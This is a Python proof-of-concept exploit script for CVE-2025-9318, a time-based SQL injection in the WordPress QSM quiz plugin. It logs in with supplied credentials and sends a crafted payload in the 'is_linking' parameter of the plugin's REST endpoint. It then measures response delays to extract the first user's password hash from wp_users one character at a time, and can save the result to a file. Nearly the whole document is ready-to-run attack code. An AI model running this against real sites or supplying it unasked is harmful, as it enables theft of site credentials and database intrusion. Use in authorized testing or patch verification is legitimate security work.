#!/usr/bin/env python3
"""
CVE-2025-9318 PoC - WordPress QSM Plugin SQL Injection
Tested on QSM <= 10.3.1
"""
import requests
import argparse
import string
import time
def exploit_sqli(url, username, password, target_char, position):
"""
Time-based SQL Injection PoC
Extracts data character by character based on response time
"""
# Login to WordPress
session = requests.Session()
login_url = f"{url}/wp-login.php"
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': f"{url}/wp-admin/",
'testcookie': '1'
}
session.post(login_url, data=login_data)
# Prepare malicious request with time-based SQL injection
# Target: Extract database user password hash
target_payload = f"1' AND (SELECT CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1)='{target_char}') THEN SLEEP(5) ELSE 0 END) AND '1'='1"
# REST API endpoint vulnerable
api_url = f"{url}/wp-json/qsm/v1/quizzes"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-WP-Nonce': session.cookies.get('wordpress_test_cookie') or ''
}
data = {
'is_linking': target_payload
}
start_time = time.time()
try:
response = session.post(api_url, data=data, headers=headers, timeout=10)
except requests.exceptions.Timeout:
return True
elapsed = time.time() - start_time
# If response took > 5 seconds, the condition was true
return elapsed > 5
def main():
parser = argparse.ArgumentParser(description='CVE-2025-9318 SQL Injection PoC')
parser.add_argument('-u', '--url', required=True, help='WordPress site URL')
parser.add_argument('-username', '--username', required=True, help='WordPress username')
parser.add_argument('-password', '--password', required=True, help='WordPress password')
parser.add_argument('-o', '--output', help='Output file for extracted data')
args = parser.parse_args()
print(f"[*] Testing CVE-2025-9318 on {args.url}")
print("[*] Target: WordPress QSM Plugin <= 10.3.1")
print("[*] Vulnerability: Time-based SQL Injection via is_linking parameter")
# Character set for brute force
charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + './:;@[]'
extracted = ""
position = 1
max_length = 100
while position <= max_length:
found = False
for char in charset:
print(f"[*] Testing position {position}: {char}", end='\r')
try:
if exploit_sqli(args.url, args.username, args.password, char, position):
extracted += char
print(f"\n[+] Found character at position {position}: {char}")
print(f"[+] Current extraction: {extracted}")
found = True
break
except Exception as e:
print(f"\n[-] Error: {e}")
break
if not found:
print(f"\n[!] No more characters found at position {position}")
break
position += 1
print(f"\n[+] Final extraction: {extracted}")
if args.output:
with open(args.output, 'w') as f:
f.write(extracted)
print(f"[+] Results saved to {args.output}")
if __name__ == "__main__":
main()